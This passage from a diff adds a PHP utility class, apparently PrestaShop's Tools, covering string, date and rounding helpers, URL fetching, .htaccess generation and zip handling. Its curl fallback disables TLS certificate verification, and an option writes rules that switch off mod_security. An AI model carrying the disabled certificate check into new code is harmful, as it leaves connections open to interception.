'/[\x{00C8}\x{00C9}\x{00CA}\x{00CB}\x{011A}\x{0118}]/u', + '/[\x{0141}\x{013D}\x{0139}]/u', + '/[\x{00D1}\x{0147}]/u', + '/[\x{00D3}]/u', + '/[\x{0158}\x{0154}]/u', + '/[\x{015A}\x{0160}]/u', + '/[\x{0164}]/u', + '/[\x{00D9}\x{00DA}\x{00DB}\x{00DC}\x{016E}]/u', + '/[\x{017B}\x{0179}\x{017D}]/u', + '/[\x{00C6}]/u', + '/[\x{0152}]/u'); + + $replacements = array( + 'a', 'c', 'd', 'e', 'i', 'l', 'n', 'o', 'r', 's', 'ss', 't', 'u', 'y', 'z', 'ae', 'oe', + 'A', 'C', 'D', 'E', 'L', 'N', 'O', 'R', 'S', 'T', 'U', 'Z', 'AE', 'OE' + ); + + return preg_replace($patterns, $replacements, $str); + } + + /** + * Truncate strings + * + * @param string $str + * @param integer $max_length Max length + * @param string $suffix Suffix optional + * @return string $str truncated + */ + /* CAUTION : Use it only on module hookEvents. + ** For other purposes use the smarty function instead */ + public static function truncate($str, $max_length, $suffix = '...') + { + if (Tools::strlen($str) <= $max_length) + return $str; + $str = utf8_decode($str); + return (utf8_encode(substr($str, 0, $max_length - Tools::strlen($suffix)).$suffix)); + } + + /** + * Generate date form + * + * @param integer $year Year to select + * @param integer $month Month to select + * @param integer $day Day to select + * @return array $tab html data with 3 cells :['days'], ['months'], ['years'] + * + */ + public static function dateYears() + { + $tab = array(); + for ($i = date('Y'); $i >= 1900; $i--) + $tab[] = $i; + return $tab; + } + + public static function dateDays() + { + $tab = array(); + for ($i = 1; $i != 32; $i++) + $tab[] = $i; + return $tab; + } + + public static function dateMonths() + { + $tab = array(); + for ($i = 1; $i != 13; $i++) + $tab[$i] = date('F', mktime(0, 0, 0, $i, date('m'), date('Y'))); + return $tab; + } + + public static function hourGenerate($hours, $minutes, $seconds) + { + return implode(':', array($hours, $minutes, $seconds)); + } + + public static function dateFrom($date) + { + $tab = explode(' ', $date); + if (!isset($tab[1])) + $date .= ' '.Tools::hourGenerate(0, 0, 0); + return $date; + } + + public static function dateTo($date) + { + $tab = explode(' ', $date); + if (!isset($tab[1])) + $date .= ' '.Tools::hourGenerate(23, 59, 59); + return $date; + } + + public static function strtolower($str) + { + if (is_array($str)) + return false; + if (function_exists('mb_strtolower')) + return mb_strtolower($str, 'utf-8'); + return strtolower($str); + } + + public static function strlen($str, $encoding = 'UTF-8') + { + if (is_array($str)) + return false; + $str = html_entity_decode($str, ENT_COMPAT, 'UTF-8'); + if (function_exists('mb_strlen')) + return mb_strlen($str, $encoding); + return strlen($str); + } + + public static function stripslashes($string) + { + if (_PS_MAGIC_QUOTES_GPC_) + $string = stripslashes($string); + return $string; + } + + public static function strtoupper($str) + { + if (is_array($str)) + return false; + if (function_exists('mb_strtoupper')) + return mb_strtoupper($str, 'utf-8'); + return strtoupper($str); + } + + public static function substr($str, $start, $length = false, $encoding = 'utf-8') + { + if (is_array($str)) + return false; + if (function_exists('mb_substr')) + return mb_substr($str, (int)$start, ($length === false ? Tools::strlen($str) : (int)$length), $encoding); + return substr($str, $start, ($length === false ? Tools::strlen($str) : (int)$length)); + } + + public static function ucfirst($str) + { + return Tools::strtoupper(Tools::substr($str, 0, 1)).Tools::substr($str, 1); + } + + public static function orderbyPrice(&$array, $order_way) + { + foreach ($array as &$row) + $row['price_tmp'] = Product::getPriceStatic($row['id_product'], true, ((isset($row['id_product_attribute']) && !empty($row['id_product_attribute'])) ? (int)$row['id_product_attribute'] : null), 2); + if (strtolower($order_way) == 'desc') + uasort($array, 'cmpPriceDesc'); + else + uasort($array, 'cmpPriceAsc'); + foreach ($array as &$row) + unset($row['price_tmp']); + } + + public static function iconv($from, $to, $string) + { + if (function_exists('iconv')) + return iconv($from, $to.'//TRANSLIT', str_replace('Â¥', '¥', str_replace('£', '£', str_replace('€', '€', $string)))); + return html_entity_decode(htmlentities($string, ENT_NOQUOTES, $from), ENT_NOQUOTES, $to); + } + + public static function isEmpty($field) + { + return ($field === '' || $field === null); + } + + /** + * returns the rounded value of $value to specified precision, according to your configuration; + * + * @note : PHP 5.3.0 introduce a 3rd parameter mode in round function + * + * @param float $value + * @param int $precision + * @return float + */ + public static function ps_round($value, $precision = 0) + { + static $method = null; + + if ($method == null) + $method = (int)Configuration::get('PS_PRICE_ROUND_MODE'); + + if ($method == PS_ROUND_UP) + return Tools::ceilf($value, $precision); + elseif ($method == PS_ROUND_DOWN) + return Tools::floorf($value, $precision); + return round($value, $precision); + } + + /** + * returns the rounded value down of $value to specified precision + * + * @param float $value + * @param int $precision + * @return float + */ + public static function ceilf($value, $precision = 0) + { + $precision_factor = $precision == 0 ? 1 : pow(10, $precision); + $tmp = $value * $precision_factor; + $tmp2 = (string)$tmp; + // If the current value has already the desired precision + if (strpos($tmp2, '.') === false) + return ($value); + if ($tmp2[strlen($tmp2) - 1] == 0) + return $value; + return ceil($tmp) / $precision_factor; + } + + /** + * returns the rounded value up of $value to specified precision + * + * @param float $value + * @param int $precision + * @return float + */ + public static function floorf($value, $precision = 0) + { + $precision_factor = $precision == 0 ? 1 : pow(10, $precision); + $tmp = $value * $precision_factor; + $tmp2 = (string)$tmp; + // If the current value has already the desired precision + if (strpos($tmp2, '.') === false) + return ($value); + if ($tmp2[strlen($tmp2) - 1] == 0) + return $value; + return floor($tmp) / $precision_factor; + } + + /** + * file_exists() wrapper with cache to speedup performance + * + * @param string $filename File name + * @return boolean Cached result of file_exists($filename) + */ + public static function file_exists_cache($filename) + { + if (!isset(self::$file_exists_cache[$filename])) + self::$file_exists_cache[$filename] = file_exists($filename); + return self::$file_exists_cache[$filename]; + } + + public static function file_get_contents($url, $use_include_path = false, $stream_context = null, $curl_timeout = 5) + { + if ($stream_context == null && preg_match('/^https?:\/\//', $url)) + $stream_context = @stream_context_create(array('http' => array('timeout' => $curl_timeout))); + if (in_array(ini_get('allow_url_fopen'), array('On', 'on', '1')) || !preg_match('/^https?:\/\//', $url)) + return @file_get_contents($url, $use_include_path, $stream_context); + elseif (function_exists('curl_init')) + { + $curl = curl_init(); + curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($curl, CURLOPT_URL, $url); + curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5); + curl_setopt($curl, CURLOPT_TIMEOUT, $curl_timeout); + curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); + $opts = stream_context_get_options($stream_context); + if (isset($opts['http']['method']) && Tools::strtolower($opts['http']['method']) == 'post') + { + curl_setopt($curl, CURLOPT_POST, true); + if (isset($opts['http']['content'])) + { + parse_str($opts['http']['content'], $datas); + curl_setopt($curl, CURLOPT_POSTFIELDS, $datas); + } + } + $content = curl_exec($curl); + curl_close($curl); + return $content; + } + else + return false; + } + + public static function simplexml_load_file($url, $class_name = null) + { + return @simplexml_load_string(Tools::file_get_contents($url), $class_name); + } + + + public static $a = 0; + + /** + * @deprecated as of 1.5 use Media::minifyHTML() + */ + public static function minifyHTML($html_content) + { + Tools::displayAsDeprecated(); + return Media::minifyHTML($html_content); + } + + /** + * Translates a string with underscores into camel case (e.g. first_name -> firstName) + * @prototype string public static function toCamelCase(string $str[, bool $catapitalise_first_char = false]) + */ + public static function toCamelCase($str, $catapitalise_first_char = false) + { + $str = strtolower($str); + if ($catapitalise_first_char) + $str = ucfirst($str); + return preg_replace_callback('/_+([a-z])/', create_function('$c', 'return strtoupper($c[1]);'), $str); + } + + /** + * Transform a CamelCase string to underscore_case string + * + * @param string $string + * @return string + */ + public static function toUnderscoreCase($string) + { + // 'CMSCategories' => 'cms_categories' + // 'RangePrice' => 'range_price' + return strtolower(trim(preg_replace('/([A-Z][a-z])/', '_$1', $string), '_')); + } + + public static function getBrightness($hex) + { + $hex = str_replace('#', '', $hex); + $r = hexdec(substr($hex, 0, 2)); + $g = hexdec(substr($hex, 2, 2)); + $b = hexdec(substr($hex, 4, 2)); + return (($r * 299) + ($g * 587) + ($b * 114)) / 1000; + } + + /** + * @deprecated as of 1.5 use Media::minifyHTMLpregCallback() + */ + public static function minifyHTMLpregCallback($preg_matches) + { + Tools::displayAsDeprecated(); + return Media::minifyHTMLpregCallback($preg_matches); + } + + /** + * @deprecated as of 1.5 use Media::packJSinHTML() + */ + public static function packJSinHTML($html_content) + { + Tools::displayAsDeprecated(); + return Media::packJSinHTML($html_content); + } + + /** + * @deprecated as of 1.5 use Media::packJSinHTMLpregCallback() + */ + public static function packJSinHTMLpregCallback($preg_matches) + { + Tools::displayAsDeprecated(); + return Media::packJSinHTMLpregCallback($preg_matches); + } + + /** + * @deprecated as of 1.5 use Media::packJS() + */ + public static function packJS($js_content) + { + Tools::displayAsDeprecated(); + return Media::packJS($js_content); + } + + + public static function parserSQL($sql) + { + if (strlen($sql) > 0) + { + require_once(_PS_TOOL_DIR_.'parser_sql/php-sql-parser.php'); + $parser = new parserSql($sql); + return $parser->parsed; + } + return false; + } + + /** + * @deprecated as of 1.5 use Media::minifyCSS() + */ + public static function minifyCSS($css_content, $fileuri = false) + { + Tools::displayAsDeprecated(); + return Media::minifyCSS($css_content, $fileuri); + } + + public static function replaceByAbsoluteURL($matches) + { + global $current_css_file; + $protocol_link = Tools::getCurrentUrlProtocolPrefix(); + if (array_key_exists(1, $matches) && array_key_exists(2, $matches)) + { + $tmp = dirname($current_css_file).'/'.$matches[2]; + return $matches[1].$protocol_link.Tools::getMediaServer($tmp).$tmp; + } + return false; + } + + /** + * addJS load a javascript file in the header + * + * @deprecated as of 1.5 use FrontController->addJS() + * @param mixed $js_uri + * @return void + */ + public static function addJS($js_uri) + { + Tools::displayAsDeprecated(); + $context = Context::getContext(); + $context->controller->addJs($js_uri); + } + + /** + * @deprecated as of 1.5 use FrontController->addCSS() + */ + public static function addCSS($css_uri, $css_media_type = 'all') + { + Tools::displayAsDeprecated(); + $context = Context::getContext(); + $context->controller->addCSS($css_uri, $css_media_type); + } + + /** + * @deprecated as of 1.5 use Media::cccCss() + */ + public static function cccCss($css_files) + { + Tools::displayAsDeprecated(); + return Media::cccCss($css_files); + } + + + /** + * @deprecated as of 1.5 use Media::cccJS() + */ + public static function cccJS($js_files) + { + Tools::displayAsDeprecated(); + return Media::cccJS($js_files); + } + + protected static $_cache_nb_media_servers = null; + + public static function getMediaServer($filename) + { + if (self::$_cache_nb_media_servers === null) + { + if (_MEDIA_SERVER_1_ == '') + self::$_cache_nb_media_servers = 0; + elseif (_MEDIA_SERVER_2_ == '') + self::$_cache_nb_media_servers = 1; + elseif (_MEDIA_SERVER_3_ == '') + self::$_cache_nb_media_servers = 2; + else + self::$_cache_nb_media_servers = 3; + } + + if (self::$_cache_nb_media_servers && ($id_media_server = (abs(crc32($filename)) % self::$_cache_nb_media_servers + 1))) + return constant('_MEDIA_SERVER_'.$id_media_server.'_'); + return Tools::getHttpHost(); + } + + public static function generateHtaccess($path = null, $rewrite_settings = null, $cache_control = null, $specific = '', $disable_multiviews = null, $medias = false, $disable_modsec = null) + { + if (defined('PS_INSTALLATION_IN_PROGRESS')) + return true; + + // Default values for parameters + if (is_null($path)) + $path = _PS_ROOT_DIR_.'/.htaccess'; + if (is_null($cache_control)) + $cache_control = (int)Configuration::get('PS_HTACCESS_CACHE_CONTROL'); + if (is_null($disable_multiviews)) + $disable_multiviews = (int)Configuration::get('PS_HTACCESS_DISABLE_MULTIVIEWS'); + + if ($disable_modsec === null) + $disable_modsec = (int)Configuration::get('PS_HTACCESS_DISABLE_MODSEC'); + + // Check current content of .htaccess and save all code outside of prestashop comments + $specific_before = $specific_after = ''; + if (file_exists($path)) + { + $content = file_get_contents($path); + if (preg_match('#^(.*)\# ~~start~~.*\# ~~end~~[^\n]*(.*)$#s', $content, $m)) + { + $specific_before = $m[1]; + $specific_after = $m[2]; + } + else + { + // For retrocompatibility + if (preg_match('#\# http://www\.prestashop\.com - http://www\.prestashop\.com/forums\s*(.*)<IfModule mod_rewrite\.c>#si', $content, $m)) + $specific_before = $m[1]; + else + $specific_before = $content; + } + } + + // Write .htaccess data + if (!$write_fd = @fopen($path, 'w')) + return false; + fwrite($write_fd, trim($specific_before)."\n\n"); + + $domains = array(); + foreach (ShopUrl::getShopUrls() as $shop_url) + { + if (!isset($domains[$shop_url->domain])) + $domains[$shop_url->domain] = array(); + + $domains[$shop_url->domain][] = array( + 'physical' => $shop_url->physical_uri, + 'virtual' => $shop_url->virtual_uri, + 'id_shop' => $shop_url->id_shop + ); + + if ($shop_url->domain == $shop_url->domain_ssl) + continue; + + if (!isset($domains[$shop_url->domain_ssl])) + $domains[$shop_url->domain_ssl] = array(); + + $domains[$shop_url->domain_ssl][] = array( + 'physical' => $shop_url->physical_uri, + 'virtual' => $shop_url->virtual_uri, + 'id_shop' => $shop_url->id_shop + ); + } + + // Write data in .htaccess file + fwrite($write_fd, "# ~~start~~ Do not remove this comment, Prestashop will keep automatically the code outside this comment when .htaccess will be generated again\n"); + fwrite($write_fd, "# .htaccess automaticaly generated by PrestaShop e-commerce open-source solution\n"); + fwrite($write_fd, "# http://www.prestashop.com - http://www.prestashop.com/forums\n\n"); + + if ($disable_modsec) + fwrite($write_fd, "<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>\n"); + + // RewriteEngine + fwrite($write_fd, "<IfModule mod_rewrite.c>\n"); + + // Disable multiviews ? + if ($disable_multiviews) + fwrite($write_fd, "\n# Disable Multiviews\nOptions -Multiviews\n\n"); + + fwrite($write_fd, "RewriteEngine on\n"); + + if (!$medias) + $medias = array(_MEDIA_SERVER_1_, _MEDIA_SERVER_2_, _MEDIA_SERVER_3_); + + $media_domains = ''; + if ($medias[0] != '') + $media_domains = 'RewriteCond %{HTTP_HOST} ^'.$medias[0].'$ [OR]'."\n"; + if ($medias[1] != '') + $media_domains .= 'RewriteCond %{HTTP_HOST} ^'.$medias[1].'$ [OR]'."\n"; + if ($medias[2] != '') + $media_domains .= 'RewriteCond %{HTTP_HOST} ^'.$medias[2].'$ [OR]'."\n"; + + if (Configuration::get('PS_WEBSERVICE_CGI_HOST')) + fwrite($write_fd, "RewriteCond %{HTTP:Authorization} ^(.*)\nRewriteRule . - [E=HTTP_AUTHORIZATION:%1]\n\n"); + + foreach ($domains as $domain => $list_uri) + { + $physicals = array(); + foreach ($list_uri as $uri) + { + fwrite($write_fd, 'RewriteCond %{HTTP_HOST} ^'.$domain.'$'."\n"); + fwrite($write_fd, 'RewriteRule . - [E=REWRITEBASE:'.$uri['physical'].']'."\n"); + + // Webservice + fwrite($write_fd, 'RewriteRule ^api/?(.*)$ %{ENV:REWRITEBASE}webservice/dispatcher.php?url=$1 [QSA,L]'."\n\n"); + + if (!$rewrite_settings) + $rewrite_settings = (int)Configuration::get('PS_REWRITING_SETTINGS', null, null, (int)$uri['id_shop']); + + $domain_rewrite_cond = 'RewriteCond %{HTTP_HOST} ^'.$domain.'$'."\n"; + // Rewrite virtual multishop uri + if ($uri['virtual']) + { + if (!$rewrite_settings) + { + fwrite($write_fd, $media_domains); + fwrite($write_fd, $domain_rewrite_cond); + fwrite($write_fd, 'RewriteRule ^'.trim($uri['virtual'], '/').'/?$ '.$uri['physical'].$uri['virtual']."index.php [L,R]\n"); + } + else + { + fwrite($write_fd, $media_domains); + fwrite($write_fd, $domain_rewrite_cond); + fwrite($write_fd, 'RewriteRule ^'.trim($uri['virtual'], '/').'$ '.$uri['physical'].$uri['virtual']." [L,R]\n"); + } + fwrite($write_fd, $media_domains); + fwrite($write_fd, $domain_rewrite_cond); + fwrite($write_fd, 'RewriteRule ^'.ltrim($uri['virtual'], '/').'(.*) '.$uri['physical']."$1 [L]\n\n"); + } + + if ($rewrite_settings) + { + // Compatibility with the old image filesystem + fwrite($write_fd, "# Images\n"); + if (Configuration::get('PS_LEGACY_IMAGES')) + { + fwrite($write_fd, $media_domains); + fwrite($write_fd, $domain_rewrite_cond); + fwrite($write_fd, 'RewriteRule ^([a-z0-9]+)\-([a-z0-9]+)(\-[_a-zA-Z0-9-]*)(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/p/$1-$2$3$4.jpg [L]'."\n"); + fwrite($write_fd, $media_domains); + fwrite($write_fd, $domain_rewrite_cond); + fwrite($write_fd, 'RewriteRule ^([0-9]+)\-([0-9]+)(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/p/$1-$2$3.jpg [L]'."\n"); + } + + // Rewrite product images < 100 millions + for ($i = 1; $i <= 8; $i++) + { + $img_path = $img_name = ''; + for ($j = 1; $j <= $i; $j++) + { + $img_path .= '$'.$j.'/'; + $img_name .= '$'.$j; + } + $img_name .= '$'.$j; + fwrite($write_fd, $media_domains); + fwrite($write_fd, $domain_rewrite_cond); + fwrite($write_fd, 'RewriteRule ^'.str_repeat('([0-9])', $i).'(\-[_a-zA-Z0-9-]*)?(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/p/'.$img_path.$img_name.'$'.($j + 1).".jpg [L]\n"); + } + fwrite($write_fd, $media_domains); + fwrite($write_fd, $domain_rewrite_cond); + fwrite($write_fd, 'RewriteRule ^c/([0-9]+)(\-[\.*_a-zA-Z0-9-]*)(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/c/$1$2$3.jpg [L]'."\n"); + fwrite($write_fd, $media_domains); + fwrite($write_fd, $domain_rewrite_cond); + fwrite($write_fd, 'RewriteRule ^c/([a-zA-Z_-]+)(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/c/$1$2.jpg [L]'."\n"); + } + + fwrite($write_fd, "# AlphaImageLoader for IE and fancybox\n"); + fwrite($write_fd, $domain_rewrite_cond); + fwrite($write_fd, 'RewriteRule ^images_ie/?([^/]+)\.(jpe?g|png|gif)$ js/jquery/plugins/fancybox/images/$1.$2 [L]'."\n"); + } + // Redirections to dispatcher + if ($rewrite_settings) + { + fwrite($write_fd, "\n# Dispatcher\n"); + fwrite($write_fd, "RewriteCond %{REQUEST_FILENAME} -s [OR]\n"); + fwrite($write_fd, "RewriteCond %{REQUEST_FILENAME} -l [OR]\n"); + fwrite($write_fd, "RewriteCond %{REQUEST_FILENAME} -d\n"); + fwrite($write_fd, $domain_rewrite_cond); + fwrite($write_fd, "RewriteRule ^.*$ - [NC,L]\n"); + fwrite($write_fd, $domain_rewrite_cond); + fwrite($write_fd, "RewriteRule ^.*\$ %{ENV:REWRITEBASE}index.php [NC,L]\n"); + } + } + + fwrite($write_fd, "</IfModule>\n\n"); + + // Cache control + if ($cache_control) + { + $cache_control = "<IfModule mod_expires.c> + ExpiresActive On + ExpiresByType image/gif \"access plus 1 month\" + ExpiresByType image/jpeg \"access plus 1 month\" + ExpiresByType image/png \"access plus 1 month\" + ExpiresByType text/css \"access plus 1 week\" + ExpiresByType text/javascript \"access plus 1 week\" + ExpiresByType application/javascript \"access plus 1 week\" + ExpiresByType application/x-javascript \"access plus 1 week\" + ExpiresByType image/x-icon \"access plus 1 year\" +</IfModule> + +FileETag INode MTime Size +<IfModule mod_deflate.c> + <IfModule mod_filter.c> + AddOutputFilterByType DEFLATE text/html text/css text/javascript application/javascript application/x-javascript + </IfModule> +</IfModule>\n\n"; + fwrite($write_fd, $cache_control); + } + + // In case the user hasn't rewrite mod enabled + fwrite($write_fd, "#If rewrite mod isn't enabled\n"); + + // Do not remove ($domains is already iterated upper) + reset($domains); + $domain = current($domains); + fwrite($write_fd, 'ErrorDocument 404 '.$domain[0]['physical']."index.php?controller=404\n\n"); + + fwrite($write_fd, "# ~~end~~ Do not remove this comment, Prestashop will keep automatically the code outside this comment when .htaccess will be generated again\n"); + fwrite($write_fd, "\n\n".trim($specific_after)); + fclose($write_fd); + + Hook::exec('actionHtaccessCreate'); + + return true; + } + + public static function getDefaultIndexContent() + { + return '<?php +/* +* 2007-'.date('Y').' PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-'.date('Y').' PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; +'; + + } + + /** + * jsonDecode convert json string to php array / object + * + * @param string $json + * @param boolean $assoc (since 1.4.2.4) if true, convert to associativ array + * @return array + */ + public static function jsonDecode($json, $assoc = false) + { + if (function_exists('json_decode')) + return json_decode($json, $assoc); + else + { + include_once(_PS_TOOL_DIR_.'json/json.php'); + $pear_json = new Services_JSON(($assoc) ? SERVICES_JSON_LOOSE_TYPE : 0); + return $pear_json->decode($json); + } + } + + /** + * Convert an array to json string + * + * @param array $data + * @return string json + */ + public static function jsonEncode($data) + { + if (function_exists('json_encode')) + return json_encode($data); + else + { + include_once(_PS_TOOL_DIR_.'json/json.php'); + $pear_json = new Services_JSON(); + return $pear_json->encode($data); + } + } + + /** + * Display a warning message indicating that the method is deprecated + */ + public static function displayAsDeprecated($message = null) + { + $backtrace = debug_backtrace(); + $callee = next($backtrace); + $class = isset($callee['class']) ? $callee['class'] : null; + if ($message === null) + $message = 'The function '.$callee['function'].' (Line '.$callee['line'].') is deprecated and will be removed in the next major version.'; + $error = 'Function <b>'.$callee['function'].'()</b> is deprecated in <b>'.$callee['file'].'</b> on line <b>'.$callee['line'].'</b><br />'; + + Tools::throwDeprecated($error, $message, $class); + } + + /** + * Display a warning message indicating that the parameter is deprecated + */ + public static function displayParameterAsDeprecated($parameter) + { + $backtrace = debug_backtrace(); + $callee = next($backtrace); + $error = 'Parameter <b>'.$parameter.'</b> in function <b>'.$callee['function'].'()</b> is deprecated in <b>'.$callee['file'].'</b> on line <b>'.$callee['Line'].'</b><br />'; + $message = 'The parameter '.$parameter.' in function '.$callee['function'].' (Line '.$callee['Line'].') is deprecated and will be removed in the next major version.'; + $class = isset($callee['class']) ? $callee['class'] : null; + + Tools::throwDeprecated($error, $message, $class); + } + + public static function displayFileAsDeprecated() + { + $backtrace = debug_backtrace(); + $callee = current($backtrace); + $error = 'File <b>'.$callee['file'].'</b> is deprecated<br />'; + $message = 'The file '.$callee['file'].' is deprecated and will be removed in the next major version.'; + $class = isset($callee['class']) ? $callee['class'] : null; + + Tools::throwDeprecated($error, $message, $class); + } + + protected static function throwDeprecated($error, $message, $class) + { + if (_PS_DISPLAY_COMPATIBILITY_WARNING_) + { + trigger_error($error, E_USER_WARNING); + Logger::addLog($message, 3, $class); + } + } + + public static function enableCache($level = 1, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + $smarty = $context->smarty; + if (!Configuration::get('PS_SMARTY_CACHE')) + return; + if ($smarty->force_compile == 0 && $smarty->caching == $level) + return; + self::$_forceCompile = (int)$smarty->force_compile; + self::$_caching = (int)$smarty->caching; + $smarty->force_compile = 0; + $smarty->caching = (int)$level; + $smarty->cache_lifetime = 31536000; // 1 Year + } + + public static function restoreCacheSettings(Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + if (isset(self::$_forceCompile)) + $context->smarty->force_compile = (int)self::$_forceCompile; + if (isset(self::$_caching)) + $context->smarty->caching = (int)self::$_caching; + } + + public static function isCallable($function) + { + $disabled = explode(',', ini_get('disable_functions')); + return (!in_array($function, $disabled) && is_callable($function)); + } + + public static function pRegexp($s, $delim) + { + $s = str_replace($delim, '\\'.$delim, $s); + foreach (array('?', '[', ']', '(', ')', '{', '}', '-', '.', '+', '*', '^', '$', '`', '"', '%') as $char) + $s = str_replace($char, '\\'.$char, $s); + return $s; + } + + public static function str_replace_once($needle, $replace, $haystack) + { + $pos = strpos($haystack, $needle); + if ($pos === false) + return $haystack; + return substr_replace($haystack, $replace, $pos, strlen($needle)); + } + + /** + * Function property_exists does not exist in PHP < 5.1 + * + * @deprecated since 1.5.0 (PHP 5.1 required, so property_exists() is now natively supported) + * @param object or class $class + * @param string $property + * @return boolean + */ + public static function property_exists($class, $property) + { + Tools::displayAsDeprecated(); + + if (function_exists('property_exists')) + return property_exists($class, $property); + + if (is_object($class)) + $vars = get_object_vars($class); + else + $vars = get_class_vars($class); + + return array_key_exists($property, $vars); + } + + /** + * @desc identify the version of php + * @return string + */ + public static function checkPhpVersion() + { + $version = null; + + if (defined('PHP_VERSION')) + $version = PHP_VERSION; + else + $version = phpversion(''); + + //Case management system of ubuntu, php version return 5.2.4-2ubuntu5.2 + if (strpos($version, '-') !== false) + $version = substr($version, 0, strpos($version, '-')); + + return $version; + } + + /** + * @desc try to open a zip file in order to check if it's valid + * @return bool success + */ + public static function ZipTest($from_file) + { + if (class_exists('ZipArchive', false)) + { + $zip = new ZipArchive(); + return ($zip->open($from_file, ZIPARCHIVE::CHECKCONS) === true); + } + else + { + require_once(dirname(__FILE__).'/../tools/pclzip/pclzip.lib.php'); + $zip = new PclZip($from_file); + return ($zip->privCheckFormat() === true); + } + } + + public static function getSafeModeStatus() + { + if (!$safe_mode = @ini_get('safe_mode')) + $safe_mode = ''; + return in_array(Tools::strtolower($safe_mode), array(1, 'on')); + } + + /** + * @desc extract a zip file to the given directory + * @return bool success + */ + public static function ZipExtract($from_file, $to_dir) + { + if (!file_exists($to_dir)) + mkdir($to_dir, 0777); + if (class_exists('ZipArchive', false)) + { + $zip = new ZipArchive(); + if ($zip->open($from_file) === true && $zip->extractTo($to_dir) && $zip->close()) + return true; + return false; + } + else + { + require_once(dirname(__FILE__).'/../tools/pclzip/pclzip.lib.php'); + $zip = new PclZip($from_file); + $list = $zip->extract(PCLZIP_OPT_PATH, $to_dir); + foreach ($list as $file) + if ($file['status'] != 'ok' && $file['status'] != 'already_a_directory') + return false; + return true; + } + } + + /** + * Get products order field name for queries. + * + * @param string $type by|way + * @param string $value If no index given, use default order from admin -> pref -> products + * @param bool|\bool(false)|string $prefix + * + * @return string Order by sql clause + */ + public static function getProductsOrder($type, $value = null, $prefix = false) + { + switch ($type) + { + case 'by' : + $list = array(0 => 'name', 1 => 'price', 2 => 'date_add', 3 => 'date_upd', 4 => 'position', 5 => 'manufacturer_name', 6 => 'quantity'); + $value = (is_null($value) || $value === false || $value === '') ? (int)Configuration::get('PS_PRODUCTS_ORDER_BY') : $value; + $value = (isset($list[$value])) ? $list[$value] : ((in_array($value, $list)) ? $value : 'position'); + $order_by_prefix = ''; + if ($prefix) + { + if ($value == 'id_product' || $value == 'date_add' || $value == 'date_upd' || $value == 'price') + $order_by_prefix = 'p.'; + elseif ($value == 'name') + $order_by_prefix = 'pl.'; + elseif ($value == 'manufacturer_name' && $prefix) + { + $order_by_prefix = 'm.'; + $value = 'name'; + } + elseif ($value == 'position' || empty($value)) + $order_by_prefix = 'cp.'; + } + + return $order_by_prefix.$value; + break; + + case 'way' : + $value = (is_null($value) || $value === false || $value === '') ? (int)Configuration::get('PS_PRODUCTS_ORDER_WAY') : $value; + $list = array(0 => 'asc', 1 => 'desc'); + return ((isset($list[$value])) ? $list[$value] : ((in_array($value, $list)) ? $value : 'asc')); + break; + } + } + + /** + * Convert a shorthand byte value from a PHP configuration directive to an integer value + * @param string $value value to convert + * @return int + */ + public static function convertBytes($value) + { + if (is_numeric($value)) + return $value; + else + { + $value_length = strlen($value); + $qty = (int)substr($value, 0, $value_length - 1 ); + $unit = strtolower(substr($value, $value_length - 1)); + switch ($unit) + { + case 'k': + $qty *= 1024; + break; + case 'm': + $qty *= 1048576; + break; + case 'g': + $qty *= 1073741824; + break; + } + return $qty; + } + } + + public static function display404Error() + { + header('HTTP/1.1 404 Not Found'); + header('Status: 404 Not Found'); + include(dirname(__FILE__).'/../404.php'); + die; + } + + /** + * Concat $begin and $end, add ? or & between strings + * + * @since 1.5.0 + * @param string $begin + * @param string $end + * @return string + */ + public static function url($begin, $end) + { + return $begin.((strpos($begin, '?') !== false) ? '&' : '?').$end; + } + + /** + * Display error and dies or silently log the error. + * + * @param string $msg + * @param bool $die + * @return bool success of logging + */ + public static function dieOrLog($msg, $die = true) + { + if ($die || (defined('_PS_MODE_DEV_') && _PS_MODE_DEV_)) + die($msg); + return Logger::addLog($msg); + } + + /** + * Convert \n and \r\n and \r to <br /> + * + * @param string $string String to transform + * @return string New string + */ + public static function nl2br($str) + { + return str_replace(array("\r\n", "\r", "\n"), '<br />', $str); + } + + /** + * Clear cache for Smarty + * + * @param Smarty $smarty + */ + public static function clearCache($smarty = null, $tpl = false, $cache_id = null, $compile_id = null) + { + if ($smarty === null) + $smarty = Context::getContext()->smarty; + + if ($smarty === null) + return; + + if (!$tpl && $cache_id === null && $compile_id === null) + return $smarty->clearAllCache(); + + return $smarty->clearCache($tpl, $cache_id, $compile_id); + } + + /** + * getMemoryLimit allow to get the memory limit in octet + * + * @since 1.4.5.0 + * @return int the memory limit value in octet + */ + public static function getMemoryLimit() + { + $memory_limit = @ini_get('memory_limit'); + + return Tools::getOctets($memory_limit); + } + + /** + * getOctet allow to gets the value of a configuration option in octet + * + * @since 1.5.0 + * @return int the value of a configuration option in octet + */ + public static function getOctets($option) + { + if (preg_match('/[0-9]+k/i', $option)) + return 1024 * (int)$option; + + if 